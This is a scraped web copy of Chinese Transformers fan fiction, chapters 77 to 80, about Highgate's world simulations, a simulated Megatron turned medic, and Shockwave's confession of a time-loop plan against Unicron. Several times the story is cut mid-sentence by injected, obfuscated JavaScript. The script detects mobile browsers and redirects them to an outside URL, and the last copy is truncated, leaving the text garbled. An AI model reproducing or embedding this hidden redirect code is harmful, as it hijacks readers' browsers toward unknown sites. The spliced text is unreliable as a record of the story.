“我已经很久没来过这了,”他看上去有些高兴,“因为变形模式不适合学术,所以他们取消了我出入图书馆的权限。” 正好在那时被震荡波议员找上门,就去先进技术学院进行理疗和学习。 再后来,局势就动荡起来,他更没时间回科诺姆新星城。 或许是和刹车想到了相同的事,又或许是不想打扰对方和熟悉场所的重逢,海格特很久没有说话,只是低着头沉思。 看上去就好像失去了什么绝对不愿意失去的东西似的。 刹车思考着,问他:“不开始模拟吗?” “在那之前,我想问你个问题。” “什么?” “如果在模拟世界里,塔恩杀死夸克的事情是真实发生的,”机器抬起视线,“你觉得夸克会希望你为他复仇吗?” 几乎是毫不犹豫地,刹车指了指自己。 “呃,复仇的意思是,我,一个人去杀塔恩?” 因为这个想法太过荒诞,他又补充一句, “真的假的?” 在那个世界里,憎恨DJD的人不计其数,但直接动手挑战却完全是另一回事。 恨归恨,他们又不是脑模块障碍,赶着跑去送死。 “只是做个假设。” “等会,你不会是希望我用这样的参数进去模拟吧?” 哪怕只是虚拟的,他也不想体验被DJD虐杀啊。 海格特摇头:“参数只取决于你的决定,我不会干涉。” “那就好。” 稍微松了口气的刹车开始思考。 冷静下来就发现,海格特的这个问题很奇怪。 什么叫“夸克会不会希望你复仇”,一般来说,不该问“你想不想复仇”吗? “我会怎么行动暂且不论,”刹车竖起一根食指,“但哪怕是动手,也不该用已死之人的想法做借口,虽然替他人考虑是种美德,但拿已死之人的想法做借口就是另一回事了。” “……说得也是。” “但我理解你的意思,哪怕朋友已经死了,还是想尽可能地为他做点什么。” 如果夸克身上真的发生了那种事,因为自己对塔恩的轻信和无知而惨死。 那除非是失去这段记忆,否则自己恐怕无法活下去了,可能真的会因此踏上复仇之路也说不定。 不过话虽如此,能不能做到完全是另一回事…… “先不说这些,”刹车不愿意再思考下去,转而看向海格特,“你突然问这些,是因为你遇到类似的事吗?” “差不多。” 以林格的名义向那些草菅人命的凶手复仇,将哲拉萨斯以数据化保存起来的时候,让他停留在一个恐惧和痛苦的瞬间,也隔断他与其他数据之间的联系。 这种行为,他自己也知道很不对,然而明知道是错的,还是忍不住找借口。 “不,说到底……可能我只是害怕。” 害怕林格如果真的知道,是否会谴责自己的这种报复行为。 ……最近是怎么了,尽是些不像机器该有的情绪。 想到这,海格特立刻从这种情绪里抽离出来。 “告诉我你的参数,开始进行世界模拟。” “呃,好的。”见对方不想多谈,刹车也不问,“我其实是想做个调查研究。” “研究什么?” “普神,以及和他有关的宗教信息。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517913|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>最近发生的事,对这个信徒来说一件比一件刺激,有时候他看得都有点绝望,但又有一些,那些奇异的事情似乎又证明了神明真的存在似的。 于是刹车受不了这种模棱两可的状态,干脆在其他人为领导模块或别的事物而忙碌时,自己来塞伯坦进行模拟。 其实和海格特一样,他也在害怕和逃避。 ——害怕自己接近领导模块的时候,发现它并不是普神的造物的证明,之类的。 刹车为自己打造了一个不会被干扰的学术环境,然后在参数构建的世界里全力以赴地搜查相关信息。 可是直到结束,他都没有获得答案。 虽然相关的信息量非常庞大,但众说纷纭,消息在十三部落之前的某个时代彻底断了层,有关普神是否存在,到最后也没有决定性的证据。 不过也不是完全没有收获。 模拟结束后,在回塞伯坦的路上,刹车思考起自己发现的事。 和大黄蜂一样,他同样抵达了地心的那座巨型拱门,也用火种追踪技术看到了上面写着的“Highgate”。 那个字迹。 他好像在什么地方见过。 但不知为何,哪怕把记忆库翻了个底朝天,也无论如何都想不起来。 —— ———— 在刹车的模拟世界结束后,海格特还以为万物之流号上的人会停一段时间,但刚这么想着,就看到一艘飞船来到塞伯坦。 在机器略显诧异的目光中,红白色涂装的医疗单位进入了观测室,周围景象也随之改变为某个干净整洁的医疗坞。 “我没准备什么参数,就是过来让音频接收器清净清净。” 救护车在椅子上坐下,开门见山地说道。 显然,最近船上的各种事已经快把他烦死了,但又没有多少病人需要医治,所以医生干脆把工作暂时移交给药师(他几乎是立刻就答应了,但死锁看上去很不高兴)和急救员,自己逃了出来。 “我很欢迎。” 海格特对他笑了一下。 “您可以在这里放松一阵,但模拟还是要进行的,不然我会默认您想接受数据化。” “好吧……那我希望能模拟一个没那么多伤患,我可以平常地钻研医术,放心生活的地方。” 救护车叹了口气。 “在那之前,你都还好吗?他们说你有变形模式了,原来是真的。” 除了过来放松之外,他也想检查一下海格特的状态。 刚才对方为了对抗一艘突然出现的飞船而解除数据化的时候,虽然大部分人都将其视为改变局面的机会,但救护车和天火同样也担心海格特会受到什么伤害。 “我?”海格特想了一下,“我很好,如您所见,机体的各方面运转都很正常。” “是吗……” 对方看上去确实问题不大,救护车也就暂且放了心。 “那就开始模拟吧。” 一段时间后。 虽然这次模拟只是顺带的事,但万物之流号上的众人还是看到了不得了的局面。 救护车模拟了一个没有战争发生的世界,在这个世界里,功能主义政府很早就覆灭于与安保部队的内斗,虽然也面临资源危机等麻烦,但没有什么大规模的伤亡。 一个契机下,在外游历的医生收到了求救信号,于是来到某个早已废弃的矿场卫星。 在这里,他救下了一名被困在这里,已经因为长时间能源短缺而半身不遂,名为界标的矿工。 而旁边一直留下来照顾界标的另一名矿工,在目睹了救护车的精湛医术之后,决心同样成为一名医生。 虽然机体并不适合精密操作,但看在对方如此坚持的份上,救护车最后还是心软松了口。 “我不会收什么学生,”他无奈地看着面前的大个子,“但要是你想留下来见习就留吧……尽管我连你的名字都不知道。” “噢,不好意思。” 显然已经许久没被提到名字的矿工根本忘了这件事,现在才想起来。 “我的名字是威震天。” 78.第七十八章 “你说威震天当了医生?” “是的。” “你说威震天当了医生?” “据我观察到的情况,就是这么回事。” “你说威震天——” “停,听我说,中场休息。” 热破不等奥利安说完,比了个暂停的手势,然后转身看着飞船主控制室里的每一个人。 “我得先找个人告诉我怎么才能把复读机关了。” 铁皮说放着不管他自己能好,千斤顶提出用液氮物理降温,而感知器受到启发,提出实验室里还剩一些液氦,但被通天晓以“这么做有谋杀嫌疑”为由制止。 在他们旁边,大黄蜂一直捂着脑袋,一副不知道该说什么好的头疼表情。 “你没事吧?”爵士问他。 “噢,我没事的,”明黄色的小型机苦笑着,“是红蜘蛛的幽灵,他现在话有点大声。” 在看到这个模拟世界的威震天选择从医之后,这个霸天虎空中指挥先是讽刺地大笑起来,然后开始愤怒地抱怨起来,试图让大黄蜂把他的话传递给舱室外看上去无动于衷的声波。 “你们是战友,不要吵架。” 大黄蜂一脸真诚。 红蜘蛛愣了一下,变得更生气了。 场面逐渐趋于混乱,只有警车不为所动,拿着数据板走上前。 “救护车提交给海格特的模拟参数里,应该没有包含让威震天成改变志向这一条。” 他摆出许多逻辑定理和数理模型来论证自己的观点,在奥利安宕机的当下,除了通天晓之外没人愿意仔细去看。 “和天火那次世界模拟的情况相似,都是模拟者主观意愿之外的结果,真实性暂且不论,参考价值和再现的概率都很低,为了避免影响判断,我认为不应将其当真。” 只要模拟世界的数量足够,别说医生,就算哪个世界出现热爱和平的汽车人威震天都不是没可能。 但不能因此就假定任何霸天虎就有从善的可能性。 至于动机。 对数理逻辑来说,动机并不重要。 与此同时,看着投影出来的一串串数据模型,奥利安·派克斯也总算冷静下来。 “所以比起思考模拟,”战术家继续道,“我的建议是,你应该先下定决心处理现实中的事物。” “警车……” “——就比如拿起领导模块。” 话音落下,场面一下子安静下来,所有人都看向奥利安,而慢了一步的飞船领队只是扶着头雕,在心里叹了口气。 “我之前说过,现在的塞伯坦不需要领袖。”他说。 自从之前将领导模块带到万物之流号之后,奥利安就请求通天晓将其严格保存。 毕竟“成为领袖”这件事,值得顾虑的问题多如繁星,万一出了差错,现在可以承受的代价却寥寥无几。 没有人提出反对。 比起对领袖这一名号的信从,可能更多人只是需要安全感。 “如果确定海格特的数据化需要领导模块的力量破解,到时候我也不会逃避责任。”奥利安说,“我们需要避免领导模块因长期数据化而出现差错,既然现在已经做到了这一点,就暂时搁置这件事吧。” “既然这是你的意思。” 警车耸了下肩。 —— ———— 模拟世界内,宇宙某处。 哪怕功能主义政府的统治结束,没有了领袖制度,也没有在压迫下爆发的战争,但塞伯坦并未因此就走向彻底的和平与繁荣。 能源短缺、资源缺乏和缺乏规划的治理……各种问题接踵而至,虽然没有大问题,星球依旧持续不断地处于小规模混乱之中,让任何希望社会恢复安稳的人忙得焦头烂额。 但在这样的局面下,救护车反而拥有更多时间处理个人事务,需要他救治的伤者很少,所以才能带着一个想成为医生的矿工,在整个星系间四处治病救人。 曾经在奥提雷克斯和铁堡就职时,救护车也教过不少人,还发表过许多文章,但这次和那些经历完全不同。 说实话,这个叫威震天的矿工,他的机体不适合过于精细的工作。 比起维修,可能更擅长破坏……不,是显然更适合破坏。 救护车检查过他的机体,发现无论是能源转化率,金属肌肉的强度还是各项利于战斗的参数,威震天几乎都到了极致的高度,潜力极大。 对他们的种族来说,虽然变形模式并不决定一切,但就像不能阻止一台飞行器起飞,也不能阻止载具奔跑一样,塞伯坦人同样有着和其他生物相似的,名为“本能”的东西。 也就是说,这个大个子完全克制了自己破坏的冲动,反而试图去修复,成为一名医生。 这件事本身就很不容易。 正因如此,救护车才会勉强同意让他见习。 “我还没问过,你为什么想做医生?” “……我想修好界标,还有其他像这样的人。” 威震天说着,指了指前面。 “信号的发射地点在那。” 因为收到微弱的信号,他们来到一颗已经被废弃的前矿产卫星。 “界标最近怎么样?”救护车边走边问。 “已经完全恢复,听说正在协助新政府建立新的能源供应体系。” “那你为什么没跟他一块去?” 听到这个问题,威震天只是沉默应对。 “好吧,我听说他以前帮你把你写的东西送到塞伯坦,”救护车干脆换了个话题,“监工管得那么严格,真亏你们能做到。” “您也知道这件事?呃,我的意思是,当时界标的下肢动不了,所以有很多时间。” “时间?” “嗯,为了避免大规模爆炸造成矿场损失,所有死去矿工的遗体都会被统一送回塞伯坦处理。”威震天默默开口,“界标……他就把字刻在尸体上。” 文章。 矿工的尸体。 ……《和平之路》。 救护车也没再说话,他大概知道了威震天为什么不回去。 对他来说,没能及时发起斗争,直到问题消失也没解决任何事,没有保护好任何人的自己。 ——根本没资格再回到塞伯坦。 “都是过去的事了。”威震天的语气轻松了一些,“既然现在功能主义政府和领袖都不复存在,我就没必要写东西,只想照顾好身边的朋友。但如果哪天,又有人试图骑在塞伯坦人的头上作威作福,我可能……” “没事,我不阻碍你做任何事,”救护车摆摆手打断他,“只要惹祸了别说你认识我就行。” “呃,好。” “现在我们得把这一块挖开,这是我收到的信号最后传来的地点。” 医生说着,看向眼前的一处建筑废墟,显然是因为爆炸而被轰开的。 虽然以前也有伤者被困住的情况,但埋得这么实在的还是头一回——毕竟一般来说,遭遇这种程度的爆炸早就死了,根本没机会发求救信号。 救护车在相对平坦的地面上架起简易的医疗设备,而威震天则是熟练地挖开地下结构,将建筑碎块扔到一边。 过了没多久,他就看到被埋在下面的伤患。 所幸这个人看上去还是完整的。 这段时间以来,曾经的矿工已经学会基础的治疗手段,所以第一时间判断了情况后,他就取出状况检测设备开始查看情况。 但是过了一会儿,他整个机体顿在原地。 “嗯?” “怎么了?” “不太对劲,没有火种反应。” “那不就是没命了吗!” 救护车从设备箱中取出一个东西,用力扔了过去。 “快用电击/枪!” 威震天应了一声,接住装置就要下手。 “停——你对准他的额头是做什么?”医生的声音几乎要崩溃了,“不是让你电他的脑模块!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这不是吗?” 矿工没有回答,只是一副“您不救我救”的表情,转身就去取几个自己会用的医疗工具。 “看上去,他认为我们之间是平等的,”躺在地上的伤患看着威震天的背影,对救护车说,“那颗火种很特别,虽然充满生命力,但我看到了尚未完全消散的愤怒,要是失控起来谁也不知道会发生什么……允许这样的人做学生,不愧是您。” “闭嘴充电吧。” 医生没好气地说着,把电源接在他脖子后面。 伤患也没再多说,他能发现的事,救护车肯定也早就发现了。 于是回来的威震天就看见,本来气若游丝的伤患在充了电后机体开始迅速自我修复,直到完全看不出曾经受过伤的痕迹,整个过程只花了不到十塞星分。 “谢谢,多亏了你我得救了。”机器对他笑了一下,“我的名字是海格特。” 威震天对这个名字并不陌生。 “你是之前跟御天敌战斗的那个……” “嗯,他想除掉我,但是我不愿意,”海格特把事情轻描淡写地总结完,努力回忆起来,“我们从地表打到太空,最后他爆炸了,我撞击到这里,通讯系统也下线了,只能用定位装置发出信号,幸好有你们过来。” “你还记得多少?”救护车一边问,一边观察机器在机体上的变化,“如果我还没得认知障碍,你以前就不是这样。” 经他的提醒,海格特做了一遍机体自检。 “我不知道,”他的表情同样困惑,“好像修复后就这样了。” “好吧,那你接下来打算去哪?我们可以把你送到最近的卫星接驳区域,或者送你回塞伯坦。” “我不知道,可能是找震荡波继续之前的能源研究,也可能……呃!” 说到这里,他突然捂住自己的头雕。 迟到的刺痛感弥漫上来,瞬间,意识被抛到九霄云外。 在漆黑一片的脑海中,海格特看见了昏迷前濒临下线时的记忆,像是穿过黑洞和深邃的意识之海。 而在那尽头的尽头。 好像有某种邪恶的,充满仇恨的东西—— 看了他一眼。 79.第七十九章 推进装置发出轰鸣。 虽然理论上是刚获得不久的机体部件,使用起来却仿佛得心应手。 在和救护车以及威震天告别之后,海格特独自回到塞伯坦。 他在东部工业区的荒野降落,刚一落地,就看到不远处有人对自己招了下手,微笑着走过来。 “真没想到你自己回来了!火种定位和其他生命定位装置都不起作用,”震荡波摊开双臂,“早知道就该偷偷在你身上装个定位器的……开个玩笑。” 其实他早就装了。 只不过在与御天敌的战斗中,海格特身上的定位器也跟着被破坏,所以完全找不到人。 他本想委托雇佣兵对整个星系进行地毯式搜索,这下倒是节省了时间。 震荡波这样想着,忽然看到面前的海格特点了下头。 “你好。”一个礼貌性的回答。 “你没事吗?” “没事,我很好。” “……原来如此。” 震荡波面不改色,只是声音没了刚才的热情,转而变得平静。 “不好受吧,在这个世界获得的经验、记忆和人际关系,在你记起来的瞬间立刻就变得毫无意义,你会失落也是正常的。” “……” 在看到那个满怀恶意的幽灵的瞬间,无论是世界模拟的事,还是之前的模拟中发生过的事,海格特全都想了起来。 但在这些之上,最难以接受的—— 果然还是眼前这个人。 “没关系,至少你还能跟我说话,”震荡波说着,示意他看向身后的一处建筑,“那里是我的实验室,配备了足够多的认知转移设备,哪怕是世界之外观战的那些人也看不见里面的情况,我们可以到里面说。” 看着科学家那颗从容不迫、从刚才开始就没有半点波动变化的明亮火种,海格特默认了他的提议。 在来到实验室后,一路沉默的机器开了口: “我很佩服你。” “关于什么?夸奖的言辞我一向来者不拒。” “你分明手握比其他人都多的情报,可以轻而易举地改变周围的一切,但还是装得像什么也没发生过。” 既然从模拟世界的一开始,这个人就知道这里是完全虚假的世界,无论做些什么,说些什么,也全都是数据化后虚假的经历,但震荡波就像是完全没这回事。 “在今天之前,连火种的波动甚至都与正常无异,能做到这种地步,比起塞伯坦人,你更像是个伪装成塞伯坦人生活的……什么东西。” 实验室冷色的灯光忽明忽暗,照着坐在桌前的前议员身上崭新的涂装,让他始终微笑着的面甲显得晦暗不明。 “这么说,你是想学警车的方法,用那些查案之类的手法来分析我的行为?你可真喜欢他。” 海格特感到不解:“这关警车什么事……” “不,你误会了。” 震荡波说着,微微侧过头,光学镜里尽是些温和却又令人不寒而栗的视线。 仿佛无法撼动的什么东西。 “和他没有关系,而是‘你能喜欢他’这件事让我很高兴。” 这件事到底是否为真命题暂且不论,从火种来看,震荡波是真的这样认为,不含一丝虚假。 莫名的,这句话让海格特有一种预感。 看着那颗热烈燃烧的火种,机器不由自主地开口提问: “那是……什么意思?” “你来猜猜看?” “是指,你希望我拥有类似塞伯坦人的情感?” “不是。” “和他人产生关系?” “不是。” 那难道是在人选上有某种要求? “如果我喜欢的是其他人,比如林格?” “可以。” “天火?” “可以。” 海格特想了想:“御天敌?” 这个名字成功让震荡波稍作停顿,但最后还是有如下定决心般点了下头。 “如果这件事成真,或许我会给自己做个皮影戏来接受这个事,但也可以。” 那就奇怪了,这几个人之间完全找不到共通之处。 海格特思考了一下,随后恍然。 “塞伯坦人……” “终于意识到了啊。” 科学家发出一声欣慰的叹息。 “是啊,警车也好,林格也好,或者天火、感知器、甚至是御天敌也行……无论对象是谁,无论除此之外你会做什么,哪怕是杀人,哪怕是憎恨着谁,只要确认到你还在爱着塞伯坦人,我就心满意足。” 话题的维度又在无意中上升。 有一种异样的感觉。 震荡波的那番话,表达的明明是包容一切的态度,却让海格特感到几乎无法置换空气般,难以承受的沉重。 如果要类比,就像之前他濒死时见到的那个东西。 “我看到了一个充满恶意的灵魂,但能感觉到,它的恶意并非针对我而来。”海格特说,“它在针对的是可能是所有的塞伯坦人,或者这颗星球本身。” “……” “所以你都知道些什么?” “其实你之前的说法没错。”科学家默默开口,“‘伪装成塞伯坦人的什么东西’——这甚至可能比我对自己的认知还要全面,你真的很敏锐,事到如今……” 也没什么值得隐瞒的了。 所以就来说说,一个塞伯坦人的事吧。 —— ———— 最初,他将错误归咎于弱小。 毕竟那个东西虽然看上去恐怖,也被人起了宇宙大帝(Unicron)这样令人望而生畏的混沌与毁灭之神的名字,但冷静下来思考,就不难发现其本质就是个能吞噬星球的巨大机器。 既然是机器,只要科技足够发达,对抗的手段足够先进,总会解决问题。 还远不到绝望的时候。 所以哪怕塞伯坦被它吞了个干净,一切都被轻而易举地毁灭,科学家也还是试图找到解决办法。 他在毁灭的星球旁边不断地演算,沉思,最后在足以让人分神的片刻沉默中,从一个黑洞穿越回了遥远的过去。 一刻也不停地推行技术发展,打造武器,为了迎接最终要到来的那个危险,科学家可谓做足了准备。 但到了最后关头,还是失败了。 明明武器的效益理论上已经能摧毁那个东西,事前布局也很充分,到底是哪里出了问题? 科学家努力吸取着教训,然后他意识到问题所在。 为了让塞伯坦这个种族强大起来,需要优秀的领导者。 优秀到,足以带领所有人万众一心的领导者。 这次他找到了,在那个叫奥利安·派克斯的年轻人身上,科学家看到了明亮的希望,于是在引导下,奥利安不负众望地成为擎天柱,击败一个又一个敌人,最后迎来和平统一的塞伯坦。 但是,星球还是被毁灭了。 宇宙大帝轻而易举地撕碎、吸收了塞伯坦的全部,直到擎天柱选择牺牲自己,带着护符直入它的核心区域,这台毁灭机器才停止运作,从宇宙中彻底消失。 而这一次,科学家知道了它的来历。 安蒂拉。 那是一颗曾经位于银河系中心地区的有机行星,在远古的十三领袖时代,它被塞伯坦人的战争所波及,最后坍缩成了黑洞。 一个绝望的安蒂拉人选择复仇,于是用尽一生,制造了这台灭星级的宏伟机器。 不,准确来说并不是用他的一生。 因为直到死后,这个安蒂拉人依旧执着地用他的意念驱动着宇宙大帝的机体。 毫无疑问,他的死是出于愤怒。 是为了让某人……某个种族受到惩罚。 而他的确成功了。 在科学家的眼前,这个安蒂拉人创造出来的机器一次又一次地毁灭了塞伯坦。 哪怕科学家回到久远的过去,顶替了十三元祖之一的身份,然后提前宣传擎天柱的和平理念。 哪怕他对幽灵和安蒂拉人这个种族做足了研究,试图另辟蹊径地解决问题。 结果都是一样,塞伯坦还是遭到毁灭。 就像将已经完结的故事,重新终结了一次又一次。 科学家认识了几乎所有人,知道了所有会发生的大事,换作他人,可能都会将这视为命运、规则、不可更改的世界意志、或者其他宗教上的东西,然后放弃了。 但是他没有。 为了让心爱的星球免于死亡,科学家继续不断地做着尝试,哪怕曾经活跃的火种渐渐开始麻木,哪怕已经开始忘了自己应该做出何种反应,不得不通过不断刺激火种来加强情感模块的运作。 在宛若器皿般的世界上,戏剧化地度过每一天。 然后。 就在某个平凡的下午,当他第不知道多少次跟随老师哲拉萨斯,以及领袖镇天威,踏足塞伯坦的地下时。 恍惚间,看到了微弱的蓝色。 那是原本绝对没有的颜色,不存在的色彩,昭示着某种异常之物的存在。 无论后来想起多少次,震荡波都为此感到振奋。 无穷的可能性给予了塞伯坦人一个新的事物,在星球那原本空无一物的中心处,奇迹的具现化正出现在那里—— 那座至高之门。 超然物外地等待在那里。 美丽而纯粹的淡蓝色,激起近乎乡愁般的感触。 有一种落泪的冲动,不,可能他当时已经落泪了也说不定。 在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15539272|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无望地重复了不知道多少次之后,科学家总算找到了执着下去的意义。 于是,为了达成目标,从宇宙中那无穷的因果报应中拯救这颗星球—— 这台机器必须充分知晓自己的使命。 这台机器必须拥有足够强大的力量。 最后,也是最重要的。 ——这台机器必须深深爱着塞伯坦人。 只有这样,等那一天到来,它才能毫不犹豫地为了塞伯坦人行动,无论是用数据化躲过攻击,直到宇宙大帝化为尘埃,还是将身为受害者的恶灵“超度”往生,都能打破眼前永无止境的循环。 —— ———— “我没预料到的部分,就是林格找到你的事,还有从极地苏醒后的你失去了记忆这件事。” “……” 直到这一刻之前,海格特都不知道,原来世界上还有如此扭曲到令人不忍目睹的真相。 不想思考。 结果,神经管线却仍在运作,不得不去思考。 他不知道自己的失忆,也就是说,自己脑海中有关“协议”的事情并不是震荡波所为。 “还有一件事不明白。”海格特问。 “什么?” “为什么你要将这件事告诉我?这么做没有意义,哪怕你不说,只保留对宇宙大帝的说明,我也会如你期望的那样行动,你的说明完全没有必要。” “因为我不想对你说谎。” “是出于愧疚?” “不是。” “好的。”海格特点点头,“那就这些,我没有问题了。” “……?” 反倒像是对这反应感到诧异一样,科学家甚至收起了一贯从容的表情。 “这是为了塞伯坦的行动,”海格特看着他,“如果在‘人生被肆意操纵’的感受和‘拯救塞伯坦’的心情上,当然是后者更为优先。” 只是被利用而已。 为了塞伯坦人,什么都可以先被搁置。 “你大概是想让我愤怒,然后杀了你吧,但无论你是想牺牲自己成为英雄,还是想从循环中解脱,我都不会帮你的。”海格特看着他,“不过如果你刚才如果说是因为愧疚,我倒是会毫不犹豫地杀了你。” “为什么?” “因为愧疚就意味着你做出了不符合逻辑的行为,你的个人情绪会影响接下来的计划,那就是威胁了。” “……” “除此之外……嗯,谢谢你的坦白,我的确有很多问题得到了解答,比如你为什么对身为机器的我那么好,为什么你一直违背科技伦理地试图让我有所期待,有所感受,可惜直到现在,我也没办法做出让你心满意足的反应。不过你也为了塞伯坦付出了很多,直到计划完成前,我不会把这些事跟任何人说的。” 对着将迄今为止的一切关系撕碎在面前的罪魁祸首,机器一如往常般地笑了一下。 而看着那个笑容。 科学家的火种舱里,忽然出现了一阵古怪的感触。 早就燃烧到麻木的火种像要被撕开一样疼痛,近乎死亡的感受驱动着他说出另外的词句。 “不是的,我承认你所有的指控,但唯独这一点不行,我其实对你……” 科学家差点将那句话脱口而出,但在那之前,他看到机器微阖上视线,轻轻做了个噤声的手势。 别说了。 那个眼神如是表达着。 将空洞的,几个无意义的音节排列在一起,毫无意义。 没有重量的词汇,只能落到比死亡更虚无的地方。 “这些话我只说一次。” 静谧的空间内,海格特语气温柔地开口。 “无论你对我产生了什么情感,那都只是错觉而已,是你在长久的孤独与重复中,被突然出现的崭新事物冲昏头脑。” 否定的话语中,似乎拥有着绝对的,不可突破的密度。 “明白了吗?” 如果震荡波除了塞伯坦之外什么也不在乎,如果他是超乎寻常的无情者。 那么,海格特也是一样。 就像震荡波能够接受他喜欢任何人一样,海格特对他也是如此——无论是欺骗、虚伪还是利用……他什么都允许。 什么都允许,也就意味着什么都不在乎。 既然早就做好准备,那得到这样的结果也只能说是咎由自取。 这件事本来就很简单,谁都可以理解,可以感同身受。 所以…… “我知道了。” 科学家将所有情绪咽了回去,再次露出微笑。 既然这是你的命令,那么这样就好。 “看来只是个误会,没什么,我想多了。” 在没有真实存在余地的当下,就收下这份虚伪吧。 80.第八十章 指示灯由红转绿。 一场漫长的手术终于结束了。 救护车对在场的其他医护交代了一下之后的处理,转身离开手术室,又走出医疗坞的大门。 “……” 不知为何,深色涂装的机器站在面前。 一动不动,一言不发。 在昏暗的走廊里,几乎只有那双光学镜在散发着幽光,明明是非常突兀到有些吓人的场面,但救护车发现自己完全没有感到惊讶,更像是毫无感觉。 为什么呢?虽然机体上的疲劳会减缓神经反应的速度,但也不至于让他的思维如此迟钝。 正相反,更像是一种“早就知道这个人会过来”的感觉。 在医生略带疑惑的视线中,海格特终于开了口: “恭喜。” “什么?” “手术成功了。” “……不好说,”救护车朝身后望了一眼,叹了口气,“这种整个火种舱都被打穿的案例,哪怕修好了,后续也有并发风险的可能。” “他没事的,短期内,那颗火种不会回归到门的另一侧。” “啊?” 在说什么东西。 不过比起这些,为什么海格特会跑到铁堡的医学中心来? “你不是去东部工业区找震荡波了吗?” “嗯,已经找过那个人了。” 怎么搞的,今天的对话有种哪里都不对劲的感觉。想到这,哪怕有些疲惫,救护车还是打起精神观察起面前的海格特。 然后他就注意到了,究竟是什么地方不对。 平常那总是挂着温和笑意的面甲,不知为何变得无悲无喜。 那是一张什么都不在乎的面孔。 哪怕明知继续问下去会有很多麻烦,不过放心不下的医生还是问出了口:“好吧,有话直说,我接下来还有事。” 下一场航行在明天开始,虽然威震天主动说去购置新的蓄电池,但安装还是得救护车来。 “不会浪费太多时间,我只是想问您一个问题。” “说吧。” “假设没有任何能源短缺、疾病或外伤,塞伯坦人是‘不死’的吗?” 死。 空无一物,生命的反面。 原来如此,所以才会来问医生。 救护车一副“我还以为你要为什么”的表情,不紧不慢地给出回答: “不好说,毕竟塞伯坦人不依靠类似碳基生命的DNA遗传迭代来延续种族,如果你的假设成立,那我们存活的时间大概真的会久到难以想象,但也只是假设而已。至少行医这么多年,我见证的死亡一点不少。” “如果那个假设成立呢?” “我想应该也不会是真正的永生,连宇宙都会死亡,不是有谁说过吗,世间不存在真正永恒的物质,万物……什么来着。” “‘万物皆流’。”海格特说。 “我是真不习惯记这些文绉绉的词,所以你为什么突然要问这个?” “如果有一台装置,为死亡提供了后续,提供了死后的延续,违背了这条定理,”机器注视着他,“那该怎么办?” “只有想逃避死后虚无的人才会这么想吧,所以你什么时候信教了?” “……” “……啧。” 没有开玩笑的意思,海格特是认真的。 “你这假设听上去是那些害怕死后虚无的家伙编出来的,什么死后世界,如果真有这种违背了定理和规则的东西,那我问你一个问题。” 事到如今,救护车的表情也认真起来。 “哪怕是火种兄弟也好,同编码的冷制造者也好——迄今为止,你有见过任何一个自称带着‘前世记忆’的塞伯坦人吗?” “没有。” 根本没有考虑的必要,这个问题很容易回答。 哪怕是与林格有着相同火种编码的警车,也完全没有林格的记忆或人格,完全是两个人。 “但是,回归到门的另一侧的并不是火种,如果真的有轮回转世,也和记忆无关,而是在这之上的某种本质。” 又来了,神神叨叨的。 救护车莫名有些烦躁,他抱起手臂。 “谁跟你说转世不转世的问题,听好,不管做了多少准备,生前又与多少人建立过联系,死也是很私人的事,死者之外的其他人擅自投射情绪只会显得没礼貌。” “我没有在投射情绪。” 听见这话,救护车刚要出口的话又噎了回去。 他看着机器那张无悲无喜的脸,忽然觉得非常陌生。 ——你是什么人? 以至于这样的话差点就问出口。 “总之,”医生努力移开视线,“那也没什么差别,只要自我的连续性遭到中断,这就是死,你说的那个装置如果真的存在,也不是在空无一物的地方放进了东西,充其量只不过是在终点处点了盏灯而已。” “它没有干涉到死亡?” “是的。” 常年和各种重病患打交道的医生心里清楚。 死从不屈从,也不会原谅任何东西,它只是在该出现的时候,平等地造访所有事物。 哪怕是海格特口中的那台装置,肯定也是一样的。 “……太好了。” 不知为何,机器微微抬起头,像是总算松了口气。 “这样一来,就没什么好担心的。” 口中说着放松的话,只是那双光学镜里依旧空无一物,看着什么也没有的走廊墙壁。 最后,他再次看向救护车。 “我要走了,大概以后都不会再见面。” “说得像永别似的,你到底想干什么?” “我们是无法做到永别的,”机器平静地说着自相矛盾的词语,“只是对我来说,这个地方已经没有任何价值,没有留下来的理由了。” “那你……” 救护车话音未落,突然发现眼前的海格特不见了。 走廊里什么也没有。 刚刚发生的一切就像一场梦。 —— ———— 深夜,街头。 人行道十分空旷,马路上也只有寥寥载具经过,虽然东部工业区已经是塞伯坦最先恢复正常运作的地带,但要想回到往日的繁华,估计还得很长一段时间。 威震天走在这样近乎无人的地方,采购来的大部分东西都用质量置换技术收好,只有少数不能置换的东西拎在手里。 自他上线开始,就几乎没有如此悠闲地在塞伯坦的街头走过。 偶尔能去麦卡丹油坊之类的地方,也只能盼着极少的假期和工友一起过来。 说起工友,不知道界标和撞针最近怎么样了。 正这样想着,威震天忽然看到不远处的小巷里,一个模糊的影子一闪而过。 “……?” 一种隐约的熟悉感驱使着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 